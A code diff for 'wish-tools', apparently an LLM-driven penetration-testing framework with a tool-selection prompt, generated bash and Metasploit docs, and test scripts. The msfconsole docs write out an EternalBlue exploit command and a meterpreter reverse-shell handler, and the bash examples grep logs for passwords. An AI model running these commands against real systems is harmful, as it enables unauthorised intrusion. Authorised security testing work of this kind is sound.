+
+## Tool Selection Rules
+
+1. **Always prefer specialized tools** over bash when available
+2. **Use bash only as fallback** when:
+ - No specialized tool exists for the task
+ - Need to combine multiple tools with pipes/logic
+ - Performing basic system operations
+
+3. **Tool availability check**: Assume all tools are available unless specified otherwise
+
+## Response Format
+
+For each user request, respond with a JSON array of tool commands:
+
+```json
+[
+ {
+ "tool": "tool_name",
+ "capability": "capability_name",
+ "parameters": {
+ "param1": "value1",
+ "param2": "value2"
+ },
+ "explanation": "Why this tool/capability was chosen",
+ "priority": 1
+ }
+]
+```
+
+## Examples
+
+**User:** "Scan all ports on 192.168.1.100 and detect services"
+
+**Response:**
+```json
+[
+ {
+ "tool": "bash",
+ "capability": "execute",
+ "parameters": {
+ "command": "nmap -sS -p- 192.168.1.100",
+ "category": "network"
+ },
+ "explanation": "Use nmap via bash for comprehensive port scanning",
+ "priority": 1
+ },
+ {
+ "tool": "bash",
+ "capability": "execute",
+ "parameters": {
+ "command": "nmap -sV 192.168.1.100",
+ "category": "network"
+ },
+ "explanation": "Detect services on target host using nmap",
+ "priority": 2
+ }
+]
+```
+
+**User:** "Check if target is vulnerable to EternalBlue"
+
+**Response:**
+```json
+[
+ {
+ "tool": "msfconsole",
+ "capability": "auxiliary",
+ "parameters": {
+ "module": "auxiliary/scanner/smb/smb_ms17_010",
+ "rhosts": "{{TARGET_IP}}"
+ },
+ "explanation": "Use Metasploit auxiliary module to check EternalBlue vulnerability",
+ "priority": 1
+ }
+]
+```
+
+**User:** "Find all configuration files in /etc"
+
+**Response:**
+```json
+[
+ {
+ "tool": "bash",
+ "capability": "execute",
+ "parameters": {
+ "command": "find /etc -name '*.conf' -type f 2>/dev/null",
+ "category": "file"
+ },
+ "explanation": "Use bash for file system operations as no specialized tool needed",
+ "priority": 1
+ }
+]
+```
+
+Now process the user's request and select appropriate tools and capabilities.
+```
+
+## Implementation in Command Generation API
+
+### Modified Command Generation Workflow
+
+```python
+# wish-command-generation-api integration
+class ToolAwareCommandGenerator:
+ def __init__(self):
+ self.tool_registry = tool_registry
+ self.intent_mapper = IntentMapper()
+
+ async def generate_commands(self, query: str, context: dict) -> List[dict]:
+ """Generate commands using tool framework."""
+
+ # 1. Get available tools
+ available_tools = self._get_available_tools()
+
+ # 2. Create enhanced prompt with tool metadata
+ prompt = self._create_tool_aware_prompt(available_tools, query, context)
+
+ # 3. Get LLM response with tool selections
+ llm_response = await self._call_llm(prompt)
+
+ # 4. Parse and validate tool selections
+ tool_commands = self._parse_tool_selections(llm_response)
+
+ # 5. Generate actual commands using tool framework
+ commands = []
+ for tool_cmd in tool_commands:
+ try:
+ tool = self.tool_registry.get_tool(tool_cmd["tool"])
+ command_input = tool.generate_command(
+ capability=tool_cmd["capability"],
+ parameters=tool_cmd["parameters"]
+ )
+
+ commands.append({
+ "command": command_input.command,
+ "timeout_sec": command_input.timeout_sec,
+ "tool": tool_cmd["tool"],
+ "capability": tool_cmd["capability"],
+ "explanation": tool_cmd.get("explanation", ""),
+ "metadata": {
+ "tool_metadata": tool.metadata.dict(),
+ "parameters": tool_cmd["parameters"]
+ }
+ })
+ except Exception as e:
+ # Fallback to bash if tool command generation fails
+ commands.append({
+ "command": f"# Error generating command: {e}",
+ "timeout_sec": 300,
+ "tool": "bash",
+ "capability": "execute",
+ "explanation": f"Fallback due to error: {e}"
+ })
+
+ return commands
+
+ def _get_available_tools(self) -> dict:
+ """Get metadata for all available tools."""
+ tools_metadata = {}
+ for tool_metadata in self.tool_registry.list_tools():
+ tools_metadata[tool_metadata.name] = {
+ "description": tool_metadata.description,
+ "category": tool_metadata.category,
+ "capabilities": [
+ {
+ "name": cap.name,
+ "description": cap.description,
+ "parameters": cap.parameters,
+ "examples": cap.examples[:2] # Limit examples for prompt size
+ }
+ for cap in tool_metadata.capabilities
+ ],
+ "requirements": tool_metadata.requirements,
+ "tags": tool_metadata.tags
+ }
+ return tools_metadata
+
+ def _create_tool_aware_prompt(self, tools: dict, query: str, context: dict) -> str:
+ """Create enhanced prompt with tool information."""
+ # Build tool descriptions
+ tool_descriptions = []
+ for tool_name, tool_info in tools.items():
+ desc = f"### {tool_name} ({tool_info['category'].title()})\n"
+ desc += f"**Description:** {tool_info['description']}\n"
+ desc += "**Capabilities:**\n"
+
+ for cap in tool_info['capabilities']:
+ desc += f"- {cap['name']}: {cap['description']}\n"
+ if cap['parameters']:
+ desc += f" - Parameters: {', '.join(cap['parameters'].keys())}\n"
+
+ tool_descriptions.append(desc)
+
+ # Build context information
+ context_info = []
+ if context.get('target_host'):
+ context_info.append(f"Target Host: {context['target_host']}")
+ if context.get('current_directory'):
+ context_info.append(f"Current Directory: {context['current_directory']}")
+
+ prompt = f"""You are a penetration testing assistant with access to specialized tools.
+
+## Available Tools
+
+{chr(10).join(tool_descriptions)}
+
+## Current Context
+{chr(10).join(context_info) if context_info else "No specific context provided"}
+
+## Tool Selection Rules
+1. Always prefer specialized tools over bash when available
+2. Use bash only as fallback when no specialized tool exists
+3. Consider tool availability and context
+
+## User Request
+{query}
+
+Respond with a JSON array of tool commands using the format specified above.
+"""
+ return prompt
+```
+
+## Migration Strategy
+
+### Phase 1: Parallel Implementation
+- Keep existing command generation working
+- Add new tool-aware endpoint alongside existing one
+- Test with subset of queries
+
+### Phase 2: Gradual Migration
+- Route specific query types to tool-aware generator
+- Fallback to legacy generator if tool-aware fails
+- Monitor success rates and performance
+
+### Phase 3: Full Replacement
+- Replace legacy generator with tool-aware version
+- Remove fallback mechanisms
+- Optimize for performance
+
+## Benefits
+
+1. **Better Tool Utilization**: LLM chooses optimal tools for each task
+2. **Structured Output**: Tools provide metadata and structured results
+3. **Safety**: Tool validation prevents dangerous commands
+4. **Maintainability**: Adding new tools automatically improves LLM capabilities
+5. **Fallback Robustness**: Bash ensures commands can always be generated
+
+## Testing Strategy
+
+### Unit Tests
+```python
+def test_tool_selection():
+ generator = ToolAwareCommandGenerator()
+
+ # Test port scanning uses bash for nmap commands
+ commands = await generator.generate_commands(
+ "scan ports on 192.168.1.1",
+ {"target_host": "192.168.1.1"}
+ )
+
+ assert commands[0]["tool"] == "bash"
+ assert commands[0]["capability"] == "execute"
+ assert "nmap" in commands[0]["command"]
+
+def test_msfconsole_selection():
+ generator = ToolAwareCommandGenerator()
+
+ commands = await generator.generate_commands(
+ "exploit target with EternalBlue",
+ {"target_host": "192.168.1.1"}
+ )
+
+ assert commands[0]["tool"] == "msfconsole"
+ assert commands[0]["capability"] == "exploit"
+```
+
+### Integration Tests
+- Test with real LLM API calls
+- Verify command generation for various scenarios
+- Test fallback mechanisms
+- Performance benchmarking
+
+This integration maintains backward compatibility while leveraging the full power of the tool framework.
\ No newline at end of file
diff --git a/wish-tools/docs/tools/bash.md b/wish-tools/docs/tools/bash.md
new file mode 100644
index 00000000..2f8fc7bd
--- /dev/null
+++ b/wish-tools/docs/tools/bash.md
@@ -0,0 +1,99 @@
+# bash
+
+Fallback shell command execution when no specialized tool is available
+
+**Version:** 1.0.0
+**Author:** Wish Framework Team
+**Category:** fallback
+**Tags:** shell, fallback, general-purpose, universal
+
+## Requirements
+- bash
+
+## Capabilities
+
+### execute
+Execute any bash command (used when specialized tools are unavailable)
+
+**Parameters:**
+- `command`: The bash command to execute
+- `timeout`: Timeout in seconds (optional, default: 300)
+- `category`: Command category hint (optional: network, file, process, system, web, text)
+
+**Examples:**
+```bash
+# Network enumeration fallback
+```
+```bash
+nc -zv 192.168.1.1 22-443
+```
+```bash
+ping -c 4 8.8.8.8
+```
+```bash
+# File operations fallback
+```
+```bash
+find /etc -name '*.conf' -type f
+```
+```bash
+grep -r 'password' /var/log/
+```
+```bash
+# Process management fallback
+```
+```bash
+ps aux | grep nginx
+```
+```bash
+netstat -tulpn | grep :80
+```
+```bash
+# System information fallback
+```
+```bash
+uname -a && cat /etc/os-release
+```
+```bash
+df -h && free -h
+```
+
+### script
+Execute custom bash scripts for complex operations
+
+**Parameters:**
+- `script`: The bash script content
+- `args`: Script arguments (optional)
+
+**Examples:**
+```bash
+#!/bin/bash
+# Custom enumeration script
+for port in 22 80 443; do nc -zv $1 $port; done
+```
+```bash
+#!/bin/bash
+# Log analysis script
+grep 'ERROR' /var/log/*.log | tail -20
+```
+
+### tool_combination
+Combine multiple tools with pipes and logic when no single specialized tool exists
+
+**Parameters:**
+- `command`: Complex command combining multiple tools
+- `description`: Description of what the combined command does
+
+**Examples:**
+```bash
+# Network discovery + service detection
+```
+```bash
+nmap -sn 192.168.1.0/24 | grep 'Nmap scan report' | awk '{print $5}' | xargs -I {} nmap -sV -p 22,80,443 {}
+```
+```bash
+# Log analysis with multiple filters
+```
+```bash
+cat /var/log/auth.log | grep 'Failed password' | awk '{print $11}' | sort | uniq -c | sort -nr
+```
\ No newline at end of file
diff --git a/wish-tools/docs/tools/index.md b/wish-tools/docs/tools/index.md
new file mode 100644
index 00000000..65e78ed2
--- /dev/null
+++ b/wish-tools/docs/tools/index.md
@@ -0,0 +1,87 @@
+# Wish Tools Documentation
+
+This directory contains automatically generated documentation for all available tools
+in the wish-tools framework.
+
+**Total Tools:** 2
+**Categories:** 2
+
+## Tools by Category
+
+### Exploitation
+
+- **[msfconsole](msfconsole.md)** - Metasploit Framework penetration testing tool
+
+### Fallback
+
+- **[bash](bash.md)** - Fallback shell command execution when no specialized tool is available
+
+## Quick Reference
+
+| Tool | Category | Description | Requirements |
+|------|----------|-------------|--------------|
+| [bash](bash.md) | fallback | Fallback shell command execution when no specialized tool is available | bash |
+| [msfconsole](msfconsole.md) | exploitation | Metasploit Framework penetration testing tool | metasploit-framework |
+
+## Usage Examples
+
+### Basic Tool Usage
+
+```python
+from wish_tools.framework.registry import tool_registry
+from wish_tools.framework.base import ToolContext, CommandInput
+
+# Get a tool
+tool = tool_registry.get_tool('bash')
+
+# Create context
+context = ToolContext(
+ working_directory='/tmp',
+ run_id='example'
+)
+
+# Execute command
+command = CommandInput(command='echo hello', timeout_sec=30)
+result = await tool.execute(command, context)
+
+print(result.output)
+```
+
+### Generate Command from Capability
+
+```python
+# Generate command using tool capabilities
+tool = tool_registry.get_tool('bash')
+command = tool.generate_command(
+ capability='execute',
+ parameters={
+ 'command': 'nmap -sS -p 22,80,443 192.168.1.0/24',
+ 'category': 'network'
+ }
+)
+
+print(command.command) # nmap -sS -p 22,80,443 192.168.1.0/24
+```
+
+### Tool Testing
+
+```python
+from wish_tools.framework.testing import ToolTester, TestCase
+
+# Create tester
+tool = tool_registry.get_tool('bash')
+tester = ToolTester(tool)
+
+# Run availability test
+result = await tester.test_availability()
+print(f'Tool available: {result.passed}')
+
+# Generate test report
+results = await tester.run_test_suite(test_cases)
+report = tester.generate_report(results)
+print(report)
+```
+
+---
+
+*Documentation generated automatically by wish-tools framework*
\ No newline at end of file
diff --git a/wish-tools/docs/tools/msfconsole.md b/wish-tools/docs/tools/msfconsole.md
new file mode 100644
index 00000000..75702407
--- /dev/null
+++ b/wish-tools/docs/tools/msfconsole.md
@@ -0,0 +1,82 @@
+# msfconsole
+
+Metasploit Framework penetration testing tool
+
+**Version:** 1.0.0
+**Author:** Wish Framework Team
+**Category:** exploitation
+**Tags:** exploitation, pentesting, vulnerability, msf, metasploit
+
+## Requirements
+- metasploit-framework
+
+## Capabilities
+
+### exploit
+Run an exploit module against target(s)
+
+**Parameters:**
+- `module`: The exploit module path (e.g., exploit/windows/smb/ms17_010_eternalblue)
+- `rhosts`: Target host(s) - IP address or range
+- `rport`: Target port (optional, module default used if not specified)
+- `payload`: Payload to use (optional, module default used if not specified)
+- `lhost`: Local host for reverse connection (required for reverse payloads)
+- `lport`: Local port for reverse connection (optional, default: 4444)
+- `options`: Additional module options as key-value pairs (optional)
+
+**Examples:**
+```bash
+use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.1.100; set LHOST 192.168.1.10; exploit
+```
+```bash
+use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.10; exploit
+```
+
+### auxiliary
+Run an auxiliary module (scanners, fuzzers, etc.)
+
+**Parameters:**
+- `module`: The auxiliary module path (e.g., auxiliary/scanner/smb/smb_version)
+- `rhosts`: Target host(s) - IP address or range
+- `rport`: Target port (optional)
+- `options`: Additional module options as key-value pairs (optional)
+
+**Examples:**
+```bash
+use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run
+```
+```bash
+use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.100; set PORTS 1-1000; run
+```
+
+### search
+Search for modules by name, platform, or CVE
+
+**Parameters:**
+- `query`: Search query (module name, CVE, platform, etc.)
+- `type`: Module type filter (optional: exploit, auxiliary, post, payload)
+
+**Examples:**
+```bash
+search type:exploit platform:windows smb
+```
+```bash
+search cve:2017-0144
+```
+```bash
+search apache struts
+```
+
+### info
+Get detailed information about a module
+
+**Parameters:**
+- `module`: Full module path to get information about
+
+**Examples:**
+```bash
+info exploit/windows/smb/ms17_010_eternalblue
+```
+```bash
+info auxiliary/scanner/smb/smb_version
+```
\ No newline at end of file
diff --git a/wish-tools/pyproject.toml b/wish-tools/pyproject.toml
index d09b6851..6dd30b03 100644
--- a/wish-tools/pyproject.toml
+++ b/wish-tools/pyproject.toml
@@ -21,6 +21,7 @@ dev-dependencies = [
"pytest>=8.3.4",
"ruff>=0.9.8",
"graphviz>=0.20.1",
+ "pre-commit>=3.6.0",
]
[tool.pdm.build]
diff --git a/wish-tools/scripts/generate_tool_docs.py b/wish-tools/scripts/generate_tool_docs.py
new file mode 100644
index 00000000..14574e30
--- /dev/null
+++ b/wish-tools/scripts/generate_tool_docs.py
@@ -0,0 +1,282 @@
+#!/usr/bin/env python3
+"""
+Tool documentation generator for wish-tools.
+
+This script automatically generates documentation for all available tools
+in the wish-tools framework.
+"""
+
+import argparse
+import sys
+from pathlib import Path
+
+# Add src to path for imports
+sys.path.insert(0, str(Path(__file__).parent.parent / "src"))
+
+from wish_tools.framework.registry import tool_registry
+
+
+def generate_individual_docs(output_dir: Path):
+ """Generate individual documentation files for each tool."""
+ output_dir.mkdir(parents=True, exist_ok=True)
+
+ tools = tool_registry.list_tools()
+ print(f"Generating documentation for {len(tools)} tools...")
+
+ for tool_metadata in tools:
+ try:
+ # Get tool instance
+ tool = tool_registry.get_tool(tool_metadata.name)
+
+ # Generate documentation
+ docs = tool.get_documentation()
+
+ # Write to file
+ doc_file = output_dir / f"{tool_metadata.name}.md"
+ with open(doc_file, "w") as f:
+ f.write(docs)
+
+ print(f"Generated: {doc_file}")
+
+ except Exception as e:
+ print(f"Error generating docs for {tool_metadata.name}: {e}")
+
+
+def generate_index_docs(output_dir: Path):
+ """Generate an index file listing all available tools."""
+ index_file = output_dir / "index.md"
+
+ tools = tool_registry.list_tools()
+
+ # Group tools by category
+ categories = {}
+ for tool in tools:
+ if tool.category not in categories:
+ categories[tool.category] = []
+ categories[tool.category].append(tool)
+
+ # Generate index content
+ content = [
+ "# Wish Tools Documentation",
+ "",
+ "This directory contains automatically generated documentation for all available tools",
+ "in the wish-tools framework.",
+ "",
+ f"**Total Tools:** {len(tools)}",
+ f"**Categories:** {len(categories)}",
+ "",
+ "## Tools by Category",
+ "",
+ ]
+
+ for category, category_tools in sorted(categories.items()):
+ content.append(f"### {category.title()}")
+ content.append("")
+
+ for tool in sorted(category_tools, key=lambda t: t.name):
+ content.append(f"- **[{tool.name}]({tool.name}.md)** - {tool.description}")
+
+ content.append("")
+
+ # Add quick reference
+ content.extend(
+ [
+ "## Quick Reference",
+ "",
+ "| Tool | Category | Description | Requirements |",
+ "|------|----------|-------------|--------------|",
+ ]
+ )
+
+ for tool in sorted(tools, key=lambda t: t.name):
+ requirements = ", ".join(tool.requirements) if tool.requirements else "None"
+ content.append(f"| [{tool.name}]({tool.name}.md) | {tool.category} | {tool.description} | {requirements} |")
+
+ content.extend(
+ [
+ "",
+ "## Usage Examples",
+ "",
+ "### Basic Tool Usage",
+ "",
+ "```python",
+ "from wish_tools.framework.registry import tool_registry",
+ "from wish_tools.framework.base import ToolContext, CommandInput",
+ "",
+ "# Get a tool",
+ "tool = tool_registry.get_tool('bash')",
+ "",
+ "# Create context",
+ "context = ToolContext(",
+ " working_directory='/tmp',",
+ " run_id='example'",
+ ")",
+ "",
+ "# Execute command",
+ "command = CommandInput(command='echo hello', timeout_sec=30)",
+ "result = await tool.execute(command, context)",
+ "",
+ "print(result.output)",
+ "```",
+ "",
+ "### Generate Command from Capability",
+ "",
+ "```python",
+ "# Generate command using tool capabilities",
+ "tool = tool_registry.get_tool('bash')",
+ "command = tool.generate_command(",
+ " capability='execute',",
+ " parameters={",
+ " 'command': 'nmap -sS -p 22,80,443 192.168.1.0/24',",
+ " 'category': 'network'",
+ " }",
+ ")",
+ "",
+ "print(command.command) # nmap -sS -p 22,80,443 192.168.1.0/24",
+ "```",
+ "",
+ "### Tool Testing",
+ "",
+ "```python",
+ "from wish_tools.framework.testing import ToolTester, TestCase",
+ "",
+ "# Create tester",
+ "tool = tool_registry.get_tool('bash')",
+ "tester = ToolTester(tool)",
+ "",
+ "# Run availability test",
+ "result = await tester.test_availability()",
+ "print(f'Tool available: {result.passed}')",
+ "",
+ "# Generate test report",
+ "results = await tester.run_test_suite(test_cases)",
+ "report = tester.generate_report(results)",
+ "print(report)",
+ "```",
+ "",
+ "---",
+ "",
+ "*Documentation generated automatically by wish-tools framework*",
+ ]
+ )
+
+ with open(index_file, "w") as f:
+ f.write("\n".join(content))
+
+ print(f"Generated index: {index_file}")
+
+
+def generate_capability_matrix(output_dir: Path):
+ """Generate a capability matrix showing what each tool can do."""
+ matrix_file = output_dir / "capability-matrix.md"
+
+ tools = tool_registry.list_tools()
+
+ # Collect all unique capabilities
+ all_capabilities = set()
+ tool_capabilities = {}
+
+ for tool in tools:
+ capabilities = [cap.name for cap in tool.capabilities]
+ tool_capabilities[tool.name] = capabilities
+ all_capabilities.update(capabilities)
+
+ all_capabilities = sorted(all_capabilities)
+
+ content = [
+ "# Tool Capability Matrix",
+ "",
+ "This matrix shows which capabilities are available for each tool.",
+ "",
+ "| Tool | " + " | ".join(all_capabilities) + " |",
+ "|------|" + "|".join("---" for _ in all_capabilities) + "|",
+ ]
+
+ for tool in sorted(tools, key=lambda t: t.name):
+ row = [f"**{tool.name}**"]
+ for capability in all_capabilities:
+ if capability in tool_capabilities[tool.name]:
+ row.append("✅")
+ else:
+ row.append("❌")
+ content.append("| " + " | ".join(row) + " |")
+
+ content.extend(
+ [
+ "",
+ "## Legend",
+ "",
+ "- ✅ = Capability available",
+ "- ❌ = Capability not available",
+ "",
+ "## Capability Descriptions",
+ "",
+ ]
+ )
+
+ # Add capability descriptions
+ capability_descriptions = {}
+ for tool in tools:
+ for cap in tool.capabilities:
+ if cap.name not in capability_descriptions:
+ capability_descriptions[cap.name] = cap.description
+
+ for capability in sorted(capability_descriptions.keys()):
+ content.append(f"- **{capability}**: {capability_descriptions[capability]}")
+
+ with open(matrix_file, "w") as f:
+ f.write("\n".join(content))
+
+ print(f"Generated capability matrix: {matrix_file}")
+
+
+def main():
+ """Main entry point."""
+ parser = argparse.ArgumentParser(description="Generate documentation for wish-tools")
+ parser.add_argument(
+ "--output-dir",
+ type=Path,
+ default=Path(__file__).parent.parent / "docs" / "tools",
+ help="Output directory for documentation",
+ )
+ parser.add_argument("--individual", action="store_true", help="Generate individual tool documentation files")
+ parser.add_argument("--index", action="store_true", help="Generate index documentation")
+ # Capability matrix removed - misleading about bash capabilities
+ # parser.add_argument(
+ # "--matrix",
+ # action="store_true",
+ # help="Generate capability matrix"
+ # )
+
+ args = parser.parse_args()
+
+ # If no specific options, generate all available
+ if not any([args.individual, args.index]):
+ args.individual = True
+ args.index = True
+
+ print(f"Generating documentation in: {args.output_dir}")
+
+ # Auto-discover tools
+ try:
+ tool_registry.auto_discover_tools("wish_tools.tools")
+ print(f"Discovered {len(tool_registry.get_tool_names())} tools")
+ except Exception as e:
+ print(f"Warning: Tool auto-discovery failed: {e}")
+
+ # Generate documentation
+ if args.individual:
+ generate_individual_docs(args.output_dir)
+
+ if args.index:
+ generate_index_docs(args.output_dir)
+
+ # Capability matrix removed - it was misleading about bash capabilities
+ # if args.matrix:
+ # generate_capability_matrix(args.output_dir)
+
+ print("Documentation generation complete!")
+
+
+if __name__ == "__main__":
+ main()
diff --git a/wish-tools/scripts/test_tools.py b/wish-tools/scripts/test_tools.py
new file mode 100644
index 00000000..462264ff
--- /dev/null
+++ b/wish-tools/scripts/test_tools.py
@@ -0,0 +1,280 @@
+#!/usr/bin/env python3
+"""
+Tool testing script for wish-tools.
+
+This script runs comprehensive tests on all available tools
+and generates detailed reports about their functionality.
+"""
+
+import argparse
+import asyncio
+import sys
+from pathlib import Path
+from typing import Any, Dict, List
+
+# Add src to path for imports
+sys.path.insert(0, str(Path(__file__).parent.parent / "src"))
+
+from wish_tools.framework.registry import tool_registry
+from wish_tools.framework.testing import (
+ ExitCodeValidator,
+ OutputValidator,
+ PerformanceValidator,
+ TestCase,
+ ToolTester,
+)
+
+
+def create_bash_test_suite() -> List[TestCase]:
+ """Create test suite for BashTool."""
+ return [
+ TestCase(
+ name="simple_echo",
+ description="Test simple echo command",
+ capability="execute",
+ parameters={"command": "echo 'Hello World'"},
+ expected_success=True,
+ validators=[
+ OutputValidator(contains="Hello World"),
+ ExitCodeValidator(expected=0),
+ PerformanceValidator(max_time=5.0),
+ ],
+ ),
+ TestCase(
+ name="file_listing",
+ description="Test file listing command",
+ capability="execute",
+ parameters={"command": "ls -la"},
+ expected_success=True,
+ validators=[ExitCodeValidator(expected=0), PerformanceValidator(max_time=10.0)],
+ ),
+ TestCase(
+ name="invalid_command",
+ description="Test handling of invalid command",
+ capability="execute",
+ parameters={"command": "nonexistentcommand12345"},
+ expected_success=False,
+ validators=[
+ ExitCodeValidator(expected=127) # Command not found
+ ],
+ ),
+ TestCase(
+ name="script_execution",
+ description="Test script execution capability",
+ capability="script",
+ parameters={"script": "#!/bin/bash\necho 'Script output'\ndate +%Y", "args": ""},
+ expected_success=True,
+ validators=[OutputValidator(contains="Script output"), ExitCodeValidator(expected=0)],
+ ),
+ ]
+
+
+def create_msfconsole_test_suite() -> List[TestCase]:
+ """Create test suite for MsfconsoleTool."""
+
+ def skip_if_no_msfconsole():
+ """Skip test if msfconsole is not available."""
+ import subprocess
+
+ try:
+ subprocess.run(["msfconsole", "-v"], capture_output=True, timeout=10)
+ return False
+ except (FileNotFoundError, subprocess.TimeoutExpired):
+ return True
+
+ return [
+ TestCase(
+ name="module_search",
+ description="Test module search functionality",
+ capability="search",
+ parameters={"query": "smb", "type": "auxiliary"},
+ expected_success=True,
+ validators=[OutputValidator(contains="auxiliary"), ExitCodeValidator(expected=0)],
+ skip_if=skip_if_no_msfconsole,
+ ),
+ TestCase(
+ name="module_info",
+ description="Test module info retrieval",
+ capability="info",
+ parameters={"module": "auxiliary/scanner/smb/smb_version"},
+ expected_success=True,
+ validators=[OutputValidator(contains="Name:"), ExitCodeValidator(expected=0)],
+ skip_if=skip_if_no_msfconsole,
+ ),
+ ]
+
+
+# NmapTool removed - using bash for nmap commands instead
+
+
+async def test_single_tool(tool_name: str, test_cases: List[TestCase]) -> Dict[str, Any]:
+ """Test a single tool with the provided test cases."""
+ print(f"\n{'=' * 60}")
+ print(f"Testing tool: {tool_name}")
+ print(f"{'=' * 60}")
+
+ try:
+ tool = tool_registry.get_tool(tool_name)
+ tester = ToolTester(tool)
+
+ # Run test suite
+ results = await tester.run_test_suite(test_cases)
+
+ # Generate and print report
+ report = tester.generate_report(results)
+ print(report)
+
+ # Return summary
+ total_tests = len(results)
+ passed_tests = sum(1 for r in results if r.passed)
+
+ return {
+ "tool_name": tool_name,
+ "total_tests": total_tests,
+ "passed_tests": passed_tests,
+ "success_rate": passed_tests / total_tests if total_tests > 0 else 0,
+ "results": results,
+ }
+
+ except Exception as e:
+ print(f"Error testing {tool_name}: {e}")
+ return {"tool_name": tool_name, "total_tests": 0, "passed_tests": 0, "success_rate": 0, "error": str(e)}
+
+
+async def test_all_tools() -> List[Dict[str, Any]]:
+ """Test all available tools."""
+ # Define test suites for each tool
+ test_suites = {"bash": create_bash_test_suite(), "msfconsole": create_msfconsole_test_suite()}
+
+ results = []
+
+ for tool_name, test_cases in test_suites.items():
+ if tool_registry.has_tool(tool_name):
+ result = await test_single_tool(tool_name, test_cases)
+ results.append(result)
+ else:
+ print(f"\nTool {tool_name} not available, skipping tests")
+ results.append(
+ {
+ "tool_name": tool_name,
+ "total_tests": 0,
+ "passed_tests": 0,
+ "success_rate": 0,
+ "error": "Tool not available",
+ }
+ )
+
+ return results
+
+
+def print_summary(results: List[Dict[str, Any]]):
+ """Print a summary of all test results."""
+ print(f"\n{'=' * 60}")
+ print("TEST SUMMARY")
+ print(f"{'=' * 60}")
+
+ total_tools = len(results)
+ total_tests = sum(r["total_tests"] for r in results)
+ total_passed = sum(r["passed_tests"] for r in results)
+
+ print(f"Tools tested: {total_tools}")
+ print(f"Total tests: {total_tests}")
+ print(f"Tests passed: {total_passed}")
+ print(f"Overall success rate: {total_passed / total_tests * 100:.1f}%" if total_tests > 0 else "N/A")
+ print()
+
+ # Per-tool summary
+ print("Per-tool results:")
+ print("-" * 60)
+ print(f"{'Tool':<15} {'Tests':<8} {'Passed':<8} {'Success Rate':<12} {'Status'}")
+ print("-" * 60)
+
+ for result in results:
+ status = "✅ PASS" if result["success_rate"] == 1.0 and result["total_tests"] > 0 else "❌ FAIL"
+ if result["total_tests"] == 0:
+ status = "⚠️ SKIP"
+
+ success_rate = f"{result['success_rate'] * 100:.1f}%" if result["total_tests"] > 0 else "N/A"
+
+ print(
+ f"{result['tool_name']:<15} {result['total_tests']:<8} "
+ f"{result['passed_tests']:<8} {success_rate:<12} {status}"
+ )
+
+
+async def main():
+ """Main entry point."""
+ parser = argparse.ArgumentParser(description="Test wish-tools framework")
+ parser.add_argument("--tool", type=str, help="Test only the specified tool")
+ parser.add_argument(
+ "--output-dir",
+ type=Path,
+ default=Path(__file__).parent.parent / "test-reports",
+ help="Directory to save test reports",
+ )
+ parser.add_argument("--save-reports", action="store_true", help="Save detailed test reports to files")
+
+ args = parser.parse_args()
+
+ print("Wish Tools Testing Framework")
+ print("=" * 60)
+
+ # Auto-discover tools
+ try:
+ tool_registry.auto_discover_tools("wish_tools.tools")
+ discovered_tools = tool_registry.get_tool_names()
+ print(f"Discovered tools: {', '.join(discovered_tools)}")
+ except Exception as e:
+ print(f"Warning: Tool auto-discovery failed: {e}")
+ discovered_tools = []
+
+ if not discovered_tools:
+ print("No tools discovered. Exiting.")
+ return
+
+ # Run tests
+ if args.tool:
+ if not tool_registry.has_tool(args.tool):
+ print(f"Tool '{args.tool}' not found")
+ return
+
+ # Test single tool
+ test_suites = {"bash": create_bash_test_suite(), "msfconsole": create_msfconsole_test_suite()}
+
+ if args.tool in test_suites:
+ results = [await test_single_tool(args.tool, test_suites[args.tool])]
+ else:
+ print(f"No test suite defined for tool '{args.tool}'")
+ return
+ else:
+ # Test all tools
+ results = await test_all_tools()
+
+ # Print summary
+ print_summary(results)
+
+ # Save reports if requested
+ if args.save_reports:
+ args.output_dir.mkdir(parents=True, exist_ok=True)
+
+ for result in results:
+ if "results" in result:
+ tool_name = result["tool_name"]
+ report_file = args.output_dir / f"{tool_name}-test-report.md"
+
+ # Get tool and regenerate detailed report
+ try:
+ tool = tool_registry.get_tool(tool_name)
+ tester = ToolTester(tool)
+ detailed_report = tester.generate_report(result["results"])
+
+ with open(report_file, "w") as f:
+ f.write(detailed_report)
+
+ print(f"Saved detailed report: {report_file}")
+ except Exception as e:
+ print(f"Error saving report for {tool_name}: {e}")
+
+
+if __name__ == "__main__":
+ asyncio.run(main())
diff --git a/wish-tools/scripts/tool_template.py b/wish-tools/scripts/tool_template.py
new file mode 100644
index 00000000..baccb1f6
--- /dev/null
+++ b/wish-tools/scripts/tool_template.py
@@ -0,0 +1,136 @@
+"""
+TOOL_NAME tool implementation for wish framework.
+
+TODO: Replace TOOL_NAME with your actual tool name and implement the required methods.
+"""
+
+import asyncio
+import subprocess
+import time
+from typing import Any, Dict, Optional
+
+from wish_tools.framework.base import BaseTool, CommandInput, ToolCapability, ToolContext, ToolMetadata, ToolResult
+
+
+class TOOL_NAMETool(BaseTool):
+ """TODO: Add tool description."""
+
+ def _build_metadata(self) -> ToolMetadata:
+ return ToolMetadata(
+ name="TOOL_NAME",
+ version="1.0.0",
+ description="TODO: Add tool description",
+ author="Your Name",
+ category="TODO: Choose category (network/exploitation/web/file/etc)",
+ capabilities=[
+ ToolCapability(
+ name="TODO_capability_name",
+ description="TODO: Describe what this capability does",
+ parameters={
+ "TODO_param": "TODO: Parameter description",
+ "timeout": "Timeout in seconds (optional)",
+ },
+ examples=["TODO: Add example commands"],
+ )
+ ],
+ requirements=["TOOL_NAME"], # System requirements
+ tags=["TODO", "add", "relevant", "tags"],
+ )
+
+ async def validate_availability(self) -> tuple[bool, Optional[str]]:
+ """Check if TOOL_NAME is available on the system."""
+ try:
+ result = subprocess.run(
+ ["TOOL_NAME", "--version"], # Adjust command as needed
+ capture_output=True,
+ text=True,
+ timeout=5,
+ )
+ if result.returncode == 0:
+ return True, None
+ else:
+ return False, "TOOL_NAME returned non-zero exit code"
+ except FileNotFoundError:
+ return False, "TOOL_NAME not found. Please install TOOL_NAME"
+ except subprocess.TimeoutExpired:
+ return False, "TOOL_NAME version check timed out"
+ except Exception as e:
+ return False, f"Error checking TOOL_NAME availability: {str(e)}"
+
+ async def execute(self, command: CommandInput, context: ToolContext, **kwargs) -> ToolResult:
+ """Execute TOOL_NAME command."""
+ start_time = time.time()
+
+ try:
+ # TODO: Implement tool execution
+ # Example implementation:
+
